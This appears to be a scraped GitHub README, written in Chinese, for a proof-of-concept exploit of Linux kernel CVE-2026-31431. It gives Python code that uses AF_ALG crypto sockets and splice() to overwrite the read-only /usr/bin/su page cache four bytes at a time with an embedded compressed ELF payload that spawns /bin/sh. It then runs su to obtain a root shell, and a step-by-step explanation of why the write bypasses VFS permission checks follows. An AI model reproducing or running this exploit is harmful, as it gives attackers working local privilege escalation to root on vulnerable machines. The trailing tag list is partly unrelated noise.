hyeonjunjo24/CVE-2026-31431-_Copy-Fail
GitHub: hyeonjunjo24/CVE-2026-31431-_Copy-Fail
Linux内核CVE-2026-31431漏洞的概念验证代码,通过splice()与内核加密API绕过VFS权限检查覆写只读的su二进制文件实现本地提权至root。
Stars: 0 | Forks: 0
# CVE-2026-31431-_Copy-Fail
摘要 :
该漏洞利用 `splice()` 函数引用 `/usr/bin/su` 的页面,并滥用了在加密或解密特定文件或数据过程中执行的写入操作未经过 VFS 权限检查的这一缺陷。
因此,只读的 `/usr/bin/su` 页面在解密及加密过程中被写入操作污染。
```
ALG_SET_KEY = 279
sock.setsockopt(ALG_SET_KEY, 1, hex_to_bytes('0800010000000010' + '0'*64))
sock.setsockopt(ALG_SET_KEY, 5, None, 4) # Trigger vulnerability
conn, _ = sock.accept()
zero_byte = hex_to_bytes('00')
conn.sendmsg(
[b"A" * 4 + data],
[
(ALG_SET_KEY, 3, zero_byte * 4),
(ALG_SET_KEY, 2, b'\x10' + zero_byte * 19),
(ALG_SET_KEY, 4, b'\x08' + zero_byte * 3),
],
32768
)
read_pipe, write_pipe = os.pipe()
os.splice(fd, write_pipe, offset + 4, offset_src=0)
os.splice(read_pipe, conn.fileno(), offset + 4)
try:
conn.recv(8 + offset) # Trigger kernel corruption
except Exception:
pass
```
```
# 解压 payload
payload = zlib.decompress(hex_to_bytes(PAYLOAD_COMPRESSED))
for i in range(0, len(payload), 4):
exploit_step(su_fd, i, payload[i:i+4])
os.system("su")
```
`PAYLOAD_COMPRESSED = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"`
是用于替换 `/usr/bin/su` 的 ELF 文件。
其内容是 `execve("/bin/sh")`,由于它是通过 `setid(0 == root)` 运行的,因此在替换该 `/usr/bin/su` 后调用 `su` 时,就可以获取 root shell。
因此通过 `for i in range(0, len(payload), 4):` 这段代码每次以 4 字节覆盖 `/usr/bin/su`。
为什么是 4 字节呢?
“IPsec ESP (Encapsulating Security Payload) 协议使用序列号来保证数据包的顺序并防止重放攻击。最初它是 32 位的,但为了防止在高速网络中序列号耗尽,引入了 64 位的 ESN。”
但在这里,`authencesn` 是 IPsec 用于支持扩展序列号 (ESN) 的 AEAD 包装器。IPsec 使用 64 位序列号,将其拆分为高半部分 (`seqno_hi`,AAD 的第 0-3 字节) 和低半部分 (`seqno_lo`,第 4-7 字节)。
实际传输的只有 `seqno_lo`。
也就是说,在代码的 `[b"A" * 4 + data]` 部分,`data` 作为 `seqno_lo`,即 `payload[i:i+4]`,这是我们用于替换的代码的 4 个字节,它可以作为 AAD 绕过权限检查进行写入。
在 `os.splice` 之前,操作是针对 `AL_AFG` 的。
通过执行
`os.splice(fd, write_pipe, offset + 4, offset_src=0)`
`os.splice(read_pipe, conn.fileno(), offset + 4)`
作为页面缓存引用被连接起来。
此外,由于使用了 `os.splice`,内核加密引擎的输出地址 (`dst`) 变得与文件的页面缓存地址完全相同。
因此之后在
`try:`
`conn.recv(8 + offset) # Trigger kernel corruption`
中,通过 `conn.recv`,属于 AAD 的 `seqno_lo` 部分的 `data` 被覆盖了 4 个字节。
不断重复此过程,
在覆盖了 `len(payload)` 长度的 `/usr/bin/su` 之后,执行 `os.system("su")`,此时运行的将不再是原来的 `su`,而是我们覆盖后的文件,这就是该攻击的原理。
这是一个非常危险的代码,可以实现权限提升并获取 shell。
代码执行结果
为该代码及说明而参考的博客
代码 == https://github.com/JuanBindez/CVE-2026-31431
https://xint.io/blog/copy-fail-linux-distributions
为该代码及说明而参考的博客
代码 == https://github.com/JuanBindez/CVE-2026-31431
https://xint.io/blog/copy-fail-linux-distributions标签:AF_ALG, Crypto API, CVE, CVE-2026-31431, exp, Go语言工具, PoC, Python, splice, VFS, Web报告查看器, 二进制利用, 内存破坏, 内核漏洞, 子域名枚举, 安全渗透, 提权, 数字签名, 无后门, 暴力破解, 本地提权, 权限绕过, 系统安全, 网络安全, 逆向工具, 隐私保护, 零日漏洞